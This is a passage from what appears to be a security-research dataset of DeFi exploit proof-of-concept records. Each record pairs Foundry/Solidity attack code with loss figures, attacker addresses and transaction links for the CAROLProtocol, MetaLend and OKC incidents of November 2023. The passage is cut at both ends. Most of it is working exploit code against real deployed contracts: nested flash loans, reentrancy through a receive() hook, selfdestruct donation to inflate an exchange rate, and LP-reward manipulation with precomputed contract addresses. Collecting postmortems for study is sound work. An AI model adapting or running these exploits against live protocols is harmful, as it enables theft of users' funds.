IERC20 private constant CAROL = IERC20(0x4A0a76645941d8C7ba059940B3446228F0DB8972);\n uint256 private constant blocknumToForkFrom = 7_246_080;\n\n bool withdrawingWETH;\n\n function setUp() public {\n vm.createSelectFork(\"base\", blocknumToForkFrom);\n vm.label(address(CAROLProtocol), \"CAROLProtocol\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(SynapseETHPools), \"SynapseETHPools\");\n vm.label(address(BalancerVault), \"BalancerVault\");\n vm.label(address(Kokonut), \"Kokonut\");\n vm.label(address(WETH_USDbCV3), \"WETH_USDbCV3\");\n vm.label(address(WETH_USDbCV2), \"WETH_USDbCV2\");\n vm.label(address(Router), \"Router\");\n vm.label(address(CAROL), \"CAROL\");\n }\n\n function testExploit() public {\n // Prepare tx:\n // Start with following ETH balance\n deal(address(this), 0.07 ether);\n emit log_named_decimal_uint(\"Exploiter ETH balance before attack\", address(this).balance, 18);\n // Buy CAROL tokens with ETH through bonding. Create active 'Bond'\n CAROLProtocol.buy{value: 0.03 ether}(address(this), 0);\n // Use remaining ETH and CAROL tokens from active 'Bond' for liquidity staking in WETH_CAROL pair\n CAROLProtocol.stake{value: 0.039 ether}(0);\n\n // Attack tx:\n vm.roll(block.number + 33_719);\n // Adjusted time. Without following line, output from ICAROLProtocol.userBalance(userAddress) will be 0\n // in later time. This is wrong.\n vm.warp(block.timestamp + 18 hours + 39 minutes - 2 seconds);\n\n // Flashloan WETH from Synapse\n SynapseETHPools.flashLoan(address(this), address(WETH), WETH.balanceOf(address(SynapseETHPools)), bytes(\"\"));\n\n withdrawingWETH = true;\n WETH.withdraw(WETH.balanceOf(address(this)));\n\n emit log_named_decimal_uint(\"Exploiter ETH balance after attack\", address(this).balance, 18);\n }\n\n function executeOperation(\n address sender,\n address underlying,\n uint256 amount,\n uint256 fee,\n bytes calldata params\n ) external {\n // Flashloan WETH from Balancer\n address[] memory tokens = new address[](1);\n tokens[0] = address(WETH);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = WETH.balanceOf(address(BalancerVault));\n BalancerVault.flashLoan(address(this), tokens, amounts, bytes(\"\"));\n WETH.transfer(address(SynapseETHPools), amount + fee);\n }\n\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n // Flashloan WETH from Kokonut\n uint256[] memory tokenAmounts = new uint256[](2);\n tokenAmounts[0] = 0;\n tokenAmounts[1] = WETH.balanceOf(address(Kokonut));\n Kokonut.flashLoan(address(this), tokenAmounts, bytes(\"\"));\n WETH.transfer(msg.sender, amounts[0]);\n }\n\n function onFlashLoan(\n address initiator,\n uint256[] calldata amounts,\n uint256[] calldata fees,\n bytes calldata data\n ) external {\n // Flashloan WETH from UniswapV3 pool\n bytes memory data = abi.encode(uint256(WETH.balanceOf(address(WETH_USDbCV3))));\n WETH_USDbCV3.flash(address(this), WETH.balanceOf(address(WETH_USDbCV3)), 0, data);\n WETH.transfer(address(Kokonut), amounts[1] + fees[1]);\n }\n\n function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n uint256 repayAmount = abi.decode(data, (uint256));\n // Following value comes from data parameter in attack tx\n // The total amount of WETH should be this much after flashloans\n uint256 totalAmountOfWETH = 3400e18;\n uint256 amount0Out = totalAmountOfWETH - (WETH.balanceOf(address(this)));\n // Borrow additional WETH amount\n WETH_USDbCV2.swap(amount0Out, 0, address(this), abi.encodePacked(uint8(1)));\n WETH.transfer(address(WETH_USDbCV3), repayAmount + fee0);\n }\n\n function hook(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n emit log_named_decimal_uint(\"WETH amount after flashloans\", WETH.balanceOf(address(this)), 18);\n // Swap all WETH to CAROL\n WETH.approve(address(Router), type(uint256).max);\n CAROL.approve(address(Router), type(uint256).max);\n WETHToCAROL();\n emit log_named_decimal_uint(\n \"CAROL amount after swap from WETH\", CAROL.balanceOf(address(this)), CAROL.decimals()\n );\n\n uint256 sellAmount = CAROLProtocol.userBalance(address(this));\n uint256 i;\n while (i < 1000) {\n // Call to flawed function. This function make a call to swapExactTokensForETH\n // swapExactTokensForETH calls receive() function of this contract (reentrancy possibility)\n // In receive() exploiter can manipulate 'ethReserved' value (analysis link)\n (bool success,) =\n address(CAROLProtocol).call(abi.encodeWithSelector(bytes4(ICAROLProtocol.sell.selector), sellAmount));\n if (success) {\n break;\n } else {\n sellAmount = sellAmount - sellAmount / 100;\n ++i;\n }\n }\n CAROLToWETH(CAROL.balanceOf(address(this)));\n WETH.deposit{value: address(this).balance}();\n uint256 feeAmt = amount0 * 30;\n uint256 amountToTransfer = (amount0 + feeAmt / 10_000) + 50e15;\n WETH.transfer(address(WETH_USDbCV2), amountToTransfer);\n }\n\n receive() external payable {\n if (withdrawingWETH) {\n return;\n }\n uint256 amountIn = (CAROL.balanceOf(address(this)) * 90) / 100;\n CAROLToWETH(amountIn);\n }\n\n function WETHToCAROL() private {\n address[] memory path = new address[](2);\n path[0] = address(WETH);\n path[1] = address(CAROL);\n\n Router.swapExactTokensForTokens(WETH.balanceOf(address(this)), 0, path, address(this), block.timestamp + 4000);\n }\n\n function CAROLToWETH(\n uint256 amount\n ) private {\n address[] memory path = new address[](2);\n path[0] = address(CAROL);\n path[1] = address(WETH);\n\n Router.swapExactTokensForTokens(amount, 0, path, address(this), block.timestamp + 4000);\n }\n}\n", "type": "exploit_poc", "protocol": "CAROLProtocol", "date": "2023-11", "file_name": "CAROLProtocol_exp.sol", "attack_vector": "flash_loan", "content_hash": "384951104f58aa96", "collected_at": "2026-01-07T10:59:16.536007", "_source": "postmortems", "chain": "base", "block_number": null, "total_lost_raw": "~$53K", "total_lost_usd": 53000.0, "attacker_address": "https://basescan.org/address/0x5aa27d556f898846b9bad32f0cdba5b1f8bc3144", "attack_contract": "https://basescan.org/address/0xc4566ae957ad8dde4768bdd28cdc3695e4780b2c", "vulnerable_contract": "https://basescan.org/address/0x26fe408bbd7a490feb056da8e2d1e007938e5685", "attack_tx": "https://app.blocksec.com/explorer/tx/base/0xd962d397a7f8b3aadce1622e705b9e33b430e86e0d306d6fb8ccbc5957b4185c", "postmortem_url": null, "twitter_url": "https://x.com/MetaSec_xyz/status/1730496513359647167", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "~$53K", "category": "flash-loan", "exploit_code": "function testExploit() public {\n // Prepare tx:\n // Start with following ETH balance\n deal(address(this), 0.07 ether);\n emit log_named_decimal_uint(\"Exploiter ETH balance before attack\", address(this).balance, 18);\n // Buy CAROL tokens with ETH through bonding. Create active 'Bond'\n CAROLProtocol.buy{value: 0.03 ether}(address(this), 0);\n // Use remaining ETH and CAROL tokens from active 'Bond' for liquidity staking in WETH_CAROL pair\n CAROLProtocol.stake{value: 0.039 ether}(0);\n\n // Attack tx:\n vm.roll(block.number + 33_719);\n // Adjusted time. Without following line, output from ICAROLProtocol.userBalance(userAddress) will be 0\n // in later time. This is wrong.\n vm.warp(block.timestamp + 18 hours + 39 minutes - 2 seconds);\n\n // Flashloan WETH from Synapse\n SynapseETHPools.flashLoan(address(this), address(WETH), WETH.balanceOf(address(SynapseETHPools)), bytes(\"\"));\n\n withdrawingWETH = true;\n WETH.withdraw(WETH.balanceOf(address(this)));\n\n emit log_named_decimal_uint(\"Exploiter ETH balance after attack\", address(this).balance, 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$53K", "keyinfo_attacker": "https://basescan.org/address/0x5aa27d556f898846b9bad32f0cdba5b1f8bc3144", "keyinfo_attack_contract": "https://basescan.org/address/0xc4566ae957ad8dde4768bdd28cdc3695e4780b2c", "keyinfo_vulnerable_contract": "https://basescan.org/address/0x26fe408bbd7a490feb056da8e2d1e007938e5685", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/base/0xd962d397a7f8b3aadce1622e705b9e33b430e86e0d306d6fb8ccbc5957b4185c", "analysis_postmortem": "", "analysis_twitter": "https://x.com/MetaSec_xyz/status/1730496513359647167", "funds_lost_formatted": "$53.0K", "content_richness_score": 10, "quality_estimate": "high", "title": "CAROLProtocol Exploit (2023-11)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"./../basetest.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$4K\n// Attacker : https://etherscan.io/address/0x0c06340f5024c114fe196fcb38e42d20ab00f6eb\n// Attack Contract : https://etherscan.io/address/0x80a6419cb8e7d1ef1af074368f7eace1ae2358ca\n// Vulnerable Contract : https://etherscan.io/address/0x5578f2e245e932a599c46215a0ca88707230f17b\n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x4c684fb2618c29743531dec9253ede1b757bda0b323dc2f305e3b50ab1773da7\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x5578f2e245e932a599c46215a0ca88707230f17b#code\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy : https://x.com/MetaSec_xyz/status/1728424965257691173\n// Hacking God :\n\ncontract MetaLendExploit is BaseTestWithBalanceLog {\n IAaveFlashloan private constant Spark = IAaveFlashloan(0xC13e21B648A5Ee794902342038FF3aDAB66BE987);\n Uni_Router_V2 private constant Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n IERC20 private constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);\n ICointroller private constant Comptroller = ICointroller(0x0ee4b2C533ED3fFbd9f04CD7E812A4041bbE89f6);\n\n uint256 private constant blocknumToForkFrom = 18_648_753;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n vm.label(address(Spark), \"Spark\");\n vm.label(address(Router), \"Router\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(WBTC), \"WBTC\");\n vm.label(address(Comptroller), \"Comptroller\");\n }\n\n function testExploit() public {\n deal(address(this), 0);\n emit log_named_decimal_uint(\"Exploiter WETH balance before attack\", WETH.balanceOf(address(this)), 18);\n\n Spark.flashLoanSimple(address(this), address(WETH), 100e18, bytes(\"\"), 0);\n\n emit log_named_decimal_uint(\"Exploiter WETH balance after attack\", WETH.balanceOf(address(this)), 18);\n }\n\n function executeOperation(\n address asset,\n uint256 amount,\n uint256 premium,\n address initiator,\n bytes calldata params\n ) external returns (bool) {\n WETH.withdraw(WETH.balanceOf(address(this)));\n Helper helper = new Helper{value: 100 ether}();\n helper.donateAndBorrow();\n WETH.deposit{value: address(this).balance}();\n WBTC.approve(address(Router), type(uint256).max);\n WBTCToWETH();\n WETH.approve(address(Spark), amount);\n return true;\n }\n\n receive() external payable {}\n\n function WBTCToWETH() private {\n address[] memory path = new address[](2);\n path[0] = address(WBTC);\n path[1] = address(WETH);\n Router.swapExactTokensForTokens(WBTC.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000);\n }\n}\n\ncontract Helper is Test {\n IERC20 private constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);\n ICErc20Delegate private constant mWBTC = ICErc20Delegate(payable(0x0D8Df79195EC37C6cD53036f9F8eE0c24b23601E));\n crETH private constant mETH = crETH(payable(0x5578f2E245e932a599c46215a0cA88707230F17B));\n ICointroller private constant Comptroller = ICointroller(0x0ee4b2C533ED3fFbd9f04CD7E812A4041bbE89f6);\n address private immutable owner;\n\n constructor() payable {\n owner = msg.sender;\n }\n\n function donateAndBorrow() external {\n mETH.mint{value: 1 ether}();\n uint256 reedemAmount = mETH.totalSupply() - 2;\n mETH.redeem(reedemAmount);\n Donator donator = new Donator();\n donator.sendETHTo{value: address(this).balance}(address(mETH));\n address[] memory mTokens = new address[](1);\n mTokens[0] = address(mETH);\n Comptroller.enterMarkets(mTokens);\n uint256 underlyingWBTCAmount = mWBTC.getCash();\n mWBTC.borrow(underlyingWBTCAmount - 1);\n WBTC.transfer(owner, WBTC.balanceOf(address(this)));\n mETH.redeemUnderlying(mETH.getCash() - 1);\n (bool success,) = owner.call{value: address(this).balance}(\"\");\n require(success);\n }\n\n receive() external payable {}\n}\n\ncontract Donator is Test {\n function sendETHTo(\n address to\n ) external payable {\n selfdestruct(payable(to));\n }\n}\n", "type": "exploit_poc", "protocol": "MetaLend", "date": "2023-11", "file_name": "MetaLend_exp.sol", "attack_vector": "flash_loan", "content_hash": "211290d39105b2fb", "collected_at": "2026-01-07T10:59:16.536078", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "~$4K", "total_lost_usd": 4000.0, "attacker_address": "https://etherscan.io/address/0x0c06340f5024c114fe196fcb38e42d20ab00f6eb", "attack_contract": "https://etherscan.io/address/0x80a6419cb8e7d1ef1af074368f7eace1ae2358ca", "vulnerable_contract": "https://etherscan.io/address/0x5578f2e245e932a599c46215a0ca88707230f17b", "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x4c684fb2618c29743531dec9253ede1b757bda0b323dc2f305e3b50ab1773da7", "postmortem_url": null, "twitter_url": "https://x.com/MetaSec_xyz/status/1728424965257691173", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~$4K", "category": "flash-loan", "exploit_code": "function testExploit() public {\n deal(address(this), 0);\n emit log_named_decimal_uint(\"Exploiter WETH balance before attack\", WETH.balanceOf(address(this)), 18);\n\n Spark.flashLoanSimple(address(this), address(WETH), 100e18, bytes(\"\"), 0);\n\n emit log_named_decimal_uint(\"Exploiter WETH balance after attack\", WETH.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$4K", "keyinfo_attacker": "https://etherscan.io/address/0x0c06340f5024c114fe196fcb38e42d20ab00f6eb", "keyinfo_attack_contract": "https://etherscan.io/address/0x80a6419cb8e7d1ef1af074368f7eace1ae2358ca", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x5578f2e245e932a599c46215a0ca88707230f17b", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x4c684fb2618c29743531dec9253ede1b757bda0b323dc2f305e3b50ab1773da7", "analysis_postmortem": "", "analysis_twitter": "https://x.com/MetaSec_xyz/status/1728424965257691173", "funds_lost_formatted": "$4.0K", "content_richness_score": 9.2, "quality_estimate": "high", "title": "MetaLend Exploit (2023-11)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport {Test, console2} from \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @Analysis\n// https://lunaray.medium.com/okc-project-hack-analysis-0907312f519b\n// @TX\n// https://dashboard.tenderly.co/tx/bnb/0xd85c603f71bb84437bc69b21d785f982f7630355573566fa365dbee4cd236f08\n\ncontract ContractTest is Test {\n AttackContract public attack_contract;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 33_464_598);\n assertEq(block.number, 33_464_598);\n attack_contract = new AttackContract();\n setLabel();\n vm.deal(address(this), 1 ether);\n }\n\n function setLabel() private {\n vm.label(address(this), \"Attacker\");\n vm.label(address(attack_contract), \"AttackContract\");\n vm.label(address(attack_contract.DPP1()), \"0x8191_DPPAdvanced\");\n vm.label(address(attack_contract.DPP2()), \"0xfeaf_DPPOracle\");\n vm.label(address(attack_contract.DPP3()), \"0x26d0_DPPOracle\");\n vm.label(address(attack_contract.DPP4()), \"0x6098_DPP\");\n vm.label(address(attack_contract.DPP4()), \"0x6098_DPP\");\n vm.label(address(attack_contract.DPP5()), \"0x9ad3_DPPOracle\");\n vm.label(address(attack_contract.pancakeV3Pool()), \"PancakeV3Pool\");\n vm.label(address(attack_contract.pancakePair_USDT_OKC()), \"PancakePair_USDT_OKC\");\n vm.label(address(attack_contract.USDT()), \"USDT\");\n vm.label(address(attack_contract.OKC()), \"OKC\");\n vm.label(address(attack_contract.pancakeRouter()), \"PancakeRouter\");\n }\n\n function testExploit() public {\n // 0.000000000000000001\n attack_contract.expect1{value: 1 ether}();\n }\n}\n\ncontract AttackContract is IDODOCallee {\n uint256 public nonce = 1;\n AttackContract2 public attack_contract1;\n AttackContract2 public attack_contract2;\n\n IERC20 public USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 public OKC = IERC20(0xABba891c633Fb27f8aa656EA6244dEDb15153fE0);\n address payable public minerPool = payable(address(0x36016C4F0E0177861E6377f73C380c70138E13EE));\n\n IDPPOracle public DPP1 = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);\n IDPPOracle public DPP2 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);\n IDPPOracle public DPP3 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);\n IDPPOracle public DPP4 = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);\n IDPPOracle public DPP5 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);\n IPancakeV3Pool public pancakeV3Pool = IPancakeV3Pool(0x4f3126d5DE26413AbDCF6948943FB9D0847d9818);\n IPancakeRouter public pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IPancakePair public pancakePair_USDT_OKC = IPancakePair(0x9CC7283d8F8b92654e6097acA2acB9655fD5ED96);\n\n function approveAll() internal {\n OKC.approve(address(pancakeRouter), type(uint256).max);\n pancakePair_USDT_OKC.approve(address(pancakeRouter), type(uint256).max);\n }\n\n function expect1() external payable {\n uint256 size;\n address aaa = address(this);\n assembly {\n size := extcodesize(aaa)\n }\n console2.log(\"transfer_all size is: \", size);\n approveAll();\n console2.log(\n \"minerPool OKC: \",\n OKC.balanceOf(address(minerPool)),\n \", \",\n uint256(OKC.balanceOf(address(minerPool)) / 1e18)\n );\n console2.log(\n \"LP USDT: \",\n USDT.balanceOf(address(pancakePair_USDT_OKC)),\n \", \",\n uint256(USDT.balanceOf(address(pancakePair_USDT_OKC)) / 1e18)\n );\n console2.log(\n \"LP OKC: \",\n OKC.balanceOf(address(pancakePair_USDT_OKC)),\n \", \",\n uint256(OKC.balanceOf(address(pancakePair_USDT_OKC)) / 1e18)\n );\n\n uint256 amount = USDT.balanceOf(address(DPP1));\n DPP1.flashLoan(0, amount, address(this), \"0\");\n uint256 shengyu = USDT.balanceOf(address(this));\n console2.log(\"usdt amount profit: \", shengyu, \" \", uint256(shengyu / 1e18));\n\n console2.log(\n \"minerPool OKC: \",\n OKC.balanceOf(address(minerPool)),\n \", \",\n uint256(OKC.balanceOf(address(minerPool)) / 1e18)\n );\n console2.log(\n \"LP USDT: \",\n USDT.balanceOf(address(pancakePair_USDT_OKC)),\n \", \",\n uint256(USDT.balanceOf(address(pancakePair_USDT_OKC)) / 1e18)\n );\n console2.log(\n \"LP OKC: \",\n OKC.balanceOf(address(pancakePair_USDT_OKC)),\n \", \",\n uint256(OKC.balanceOf(address(pancakePair_USDT_OKC)) / 1e18)\n );\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n if (keccak256(data) == keccak256(bytes(\"0\"))) {\n uint256 amount = USDT.balanceOf(address(DPP2));\n DPP2.flashLoan(0, amount, address(this), \"1\");\n USDT.transfer(address(DPP1), quoteAmount);\n } else if (keccak256(data) == keccak256(bytes(\"1\"))) {\n uint256 amount = USDT.balanceOf(address(DPP3));\n DPP3.flashLoan(0, amount, address(this), \"2\");\n USDT.transfer(address(DPP2), quoteAmount);\n } else if (keccak256(data) == keccak256(bytes(\"2\"))) {\n uint256 amount = USDT.balanceOf(address(DPP4));\n DPP4.flashLoan(0, amount, address(this), \"3\");\n USDT.transfer(address(DPP3), quoteAmount);\n } else if (keccak256(data) == keccak256(bytes(\"3\"))) {\n uint256 amount = USDT.balanceOf(address(DPP5));\n DPP5.flashLoan(0, amount, address(this), \"4\");\n USDT.transfer(address(DPP4), quoteAmount);\n } else if (keccak256(data) == keccak256(bytes(\"4\"))) {\n uint256 amount = USDT.balanceOf(address(DPP5));\n pancakeV3Pool.flash(\n address(this),\n 2_500_000_000_000_000_000_000_000,\n 0,\n abi.encodePacked(uint256(2_500_000_000_000_000_000_000_000))\n );\n USDT.transfer(address(DPP5), quoteAmount);\n }\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n uint256 amount_flash = abi.decode(data, (uint256));\n uint256 ust_amount = USDT.balanceOf(address(this));\n console2.log(\"usdt amount: \", ust_amount, \", \", uint256(ust_amount / 1e18));\n console2.log(\"1 okc = \", uint256(getTokenPrice()), \" usdt\");\n\n swap();\n mint();\n USDT.transfer(address(pancakeV3Pool), amount_flash + fee0);\n }\n\n function swap() private {\n console2.log(\"--- Step 1: Redeem OKC with Borrowed Points USDT\");\n address[] memory a = new address[](2);\n a[0] = address(USDT);\n a[1] = address(OKC);\n\n uint256 reserve0 = USDT.balanceOf(address(pancakePair_USDT_OKC));\n uint256 reserve1 = OKC.balanceOf(address(pancakePair_USDT_OKC));\n console2.log(\"LP swap before reserves = \", reserve0, \", \", reserve1);\n\n uint256[] memory out = pancakeRouter.getAmountsOut(130_000_000_000_000_000_000_000, a);\n //assert(out[0] == 130000000000000000000000);\n //assert(out[1] == 28109225547221109324317);\n pancakePair_USDT_OKC.swap(\n 1, 28_108_225_547_221_109_324_317, address(this), abi.encodePacked(uint256(130_000_000_000_000_000_000_000))\n );\n\n uint256 reserve011 = USDT.balanceOf(address(pancakePair_USDT_OKC));\n uint256 reserve122 = OKC.balanceOf(address(pancakePair_USDT_OKC));\n console2.log(\"LP swap after reserves = \", reserve011, \", \", reserve122);\n\n uint256 usdt_amount = USDT.balanceOf(address(this));\n uint256 okc_amount = OKC.balanceOf(address(this));\n //assert(usdt_amount == 2623399993009917185325960);\n //assert(okc_amount == 27264978780804476044588);\n console2.log(\"usdt amount(swap end): \", usdt_amount, \", \", uint256(usdt_amount / 1e18));\n console2.log(\"okc amount(swap end): \", okc_amount, \", \", uint256(okc_amount / 1e18));\n console2.log(\"1 okc = \", uint256(getTokenPrice()), \" usdt\");\n }\n\n function mint() private {\n console2.log(\"--- Step 2: Staking Liquidity\");\n address new_attack_contract1 = calculateAddress(address(this), nonce);\n console2.log(\"Advance Calculation Contract Address(new_attack_contract2): \", new_attack_contract1);\n //vm.label(address(attack_contract2), \"AttackContract2\");\n OKC.transfer(address(new_attack_contract1), 10_000_000_000_000_000);\n attack_contract1 = new AttackContract2();\n\n nonce++;\n uint256 size;\n assembly {\n size := extcodesize(new_attack_contract1)\n }\n console2.log(\"transfer_all size is: \", size);\n\n address new_attack_contract2 = calculateAddress(address(this), nonce);\n console2.log(\"Advance Calculation Contract Address(new_attack_contract3): \", new_attack_contract2);\n\n USDT.transfer(address(new_attack_contract2), 100_000_000_000_000);\n OKC.transfer(address(new_attack_contract2), 1);\n attack_contract2 = new AttackContract2();\n //vm.label(address(attack_contract3), \"AttackContract3\");\n\n (uint112 reserve0, uint112 reserve1, uint32 blockTimeLast) = pancakePair_USDT_OKC.getReserves();\n //assert(reserve0 == 139293866156595223760844);\n //assert(reserve1 == 2015600963959283799829);\n console2.log(\"getReserves: \", reserve0, reserve1, blockTimeLast);\n uint256 okc_amount3 = OKC.balanceOf(address(this));\n\n uint256 amountb = pancakeRouter.quote(okc_amount3, reserve1, reserve0);\n //assert(amountb == 1884223603791570904823359);\n USDT.transfer(address(pancakePair_USDT_OKC), amountb);\n\n uint256 okc_amount4 = OKC.balanceOf(address(this));\n //assert(okc_amount4 == 27264968780804476044587);\n OKC.transfer(address(pancakePair_USDT_OKC), okc_amount4);\n\n uint256 lp1 = pancakePair_USDT_OKC.mint(address(this));\n //assert(lp1 == 225705840317082411194413);\n console2.log(\"1 okc = \", uint256(getTokenPrice()), \" usdt\");\n console2.log(\"attack_contract1 lp = \", pancakePair_USDT_OKC.balanceOf(address(attack_contract1)));\n console2.log(\"attack_contract2 lp = \", pancakePair_USDT_OKC.balanceOf(address(attack_contract2)));\n\n uint256 lp_amount1 = pancakePair_USDT_OKC.balanceOf(address(this));\n console2.log(\"this LP: \", lp_amount1);\n pancakePair_USDT_OKC.transfer(address(attack_contract2), lp_amount1);\n\n console2.log(\"--- Step 3: Main attack point\");\n // MinerPool.call{value: 1 wei}(\"\"); // Attackers use this method\n minerPool.call(abi.encodeWithSignature(\"processLPReward()\"));\n console2.log(\"1 okc = \", uint256(getTokenPrice()), \" usdt\");\n //assert(225705840317082411194413 == pancakePair_USDT_OKC.balanceOf(address(attack_contract2)));\n uint256 tmp1 = attack_contract2.transfer_all(address(pancakePair_USDT_OKC), address(this));\n //assert(tmp1 == 225705840317082411194413);\n\n uint256 lp_amount2 = pancakePair_USDT_OKC.balanceOf(address(this));\n //assert(225705840317082411194413 == lp_amount2);\n (uint256 a, uint256 b) = pancakeRouter.removeLiquidity(\n address(OKC), address(USDT), lp_amount2, 0, 0, address(this), block.timestamp + 1000\n );\n //assert(a == 27264977626947917860405);\n //assert(b == 1884223603891570904823358);\n\n console2.log(\"1 okc = \", uint256(getTokenPrice()), \" usdt\");\n\n uint256 tmp2 = attack_contract1.transfer_all(address(OKC), address(this));\n //assert(tmp2 == 272649687808044760445);\n uint256 tmp3 = attack_contract2.transfer_all(address(OKC), address(this));\n //assert(tmp3 == 77890958849117701118009);\n\n console2.log(\"--- Step 4: Withdraw earnings\");\n uint256 okc_amount5 = OKC.balanceOf(address(this));\n //assert(104610636835065226203047 == okc_amount5);\n\n address[] memory path = new address[](2);\n\n path[0] = address(OKC);\n path[1] = address(USDT);\n\n console2.log(\"okc amount = \", OKC.balanceOf(address(this)), \", \", OKC.balanceOf(address(this)) / 1e18);\n console2.log(\"1 okc = \", uint256(getTokenPrice()), \" usdt\");\n console2.log(\"swap OKC to USDT\");\n pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n okc_amount5, 0, path, address(this), block.timestamp + 1000\n );\n console2.log(\"1 okc = \", uint256(getTokenPrice()), \" usdt\");\n console2.log(\"usdt amount = \", USDT.balanceOf(address(this)), \", \", USDT.balanceOf(address(this)) / 1e18);\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n uint256 amount = abi.decode(data, (uint256));\n USDT.transfer(address(pancakePair_USDT_OKC), amount);\n console2.log(\"USDT transfer to LP: \", amount, \", \", uint256(amount / 1e18));\n console2.log(\"LP USDT: \", USDT.balanceOf(address(pancakePair_USDT_OKC)));\n console2.log(\"LP OKC: \", OKC.balanceOf(address(pancakePair_USDT_OKC)));\n }\n\n function getTokenPrice() public view returns (uint256) {\n address[] memory path = new address[](2);\n path[0] = address(OKC);\n path[1] = address(USDT);\n uint256[] memory amounts = pancakeRouter.getAmountsOut(1e18, path);\n return amounts[1];\n }\n\n function calculateAddress(address creator, uint256 nonce) public pure returns (address) {\n bytes memory data;\n if (nonce == 0x00) {\n data = abi.encodePacked(bytes1(0xd6), bytes1(0x94), creator, bytes1(0x80));\n } else if (nonce <= 0x7f) {\n data = abi.encodePacked(bytes1(0xd6), bytes1(0x94), creator, uint8(nonce));\n } else if (nonce <= 0xff) {\n data = abi.encodePacked(bytes1(0xd7), bytes1(0x94), creator, bytes1(0x81), uint8(nonce));\n } else if (nonce <= 0xffff) {\n data = abi.encodePacked(bytes1(0xd8), bytes1(0x94), creator, bytes1(0x82), uint16(nonce));\n } else if (nonce <= 0xffffff) {\n data = abi.encodePacked(bytes1(0xd9), bytes1(0x94), creator, bytes1(0x83), uint24(nonce));\n } else {\n data = abi.encodePacked(bytes1(0xda), bytes1(0x94), creator, bytes1(0x84), uint32(nonce));\n }\n return address(uint160(uint256(keccak256(data))));\n }\n}\n\ncontract AttackContract2 {\n IERC20 public USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 public OKC = IERC20(0xABba891c633Fb27f8aa656EA6244dEDb15153fE0);\n IPancakePair public PancakePair_USDT_OKC = IPancakePair(0x9CC7283d8F8b92654e6097acA2acB9655fD5ED96);\n\n constructor() {\n uint256 amount = USDT.balanceOf(address(this));\n USDT.transfer(address(PancakePair_USDT_OKC), amount);\n uint256 amount2 = OKC.balanceOf(address(this));\n OKC.transfer(address(PancakePair_USDT_OKC), amount2);\n }\n\n function transfer_all(address token, address to) public returns (uint256) {\n uint256 size;\n address aaa = address(this);\n assembly {\n size := extcodesize(aaa)\n }\n console2.log(\"transfer_all size is: \", size);\n uint256 amount = IERC20(token).balanceOf(address(this));\n if (IERC20(token).transfer(to, amount)) {\n return amount;\n } else {\n revert(\"transfer error\");\n }\n }\n}\n", "type": "exploit_poc", "protocol": "OKC", "date": "2023-11", "file_name": "OKC_exp.sol", "attack_vector": "flash_loan", "content_hash": "ba210083ffb8b69d", "collected_at": "2026-01-07T10:59:16.536141", "_source": "postmortems", "chain": "unknown", "block_number": 33464598, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n // 0.000000000000000001\n attack_contract.expect1{value: 1 ether}();\n }\n}\n\ncontract AttackContract is IDODOCallee {\n uint256 public nonce = 1;\n AttackContract2 public attack_contract1;\n AttackContract2 public attack_contract2;\n\n IERC20 public USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 public OKC = 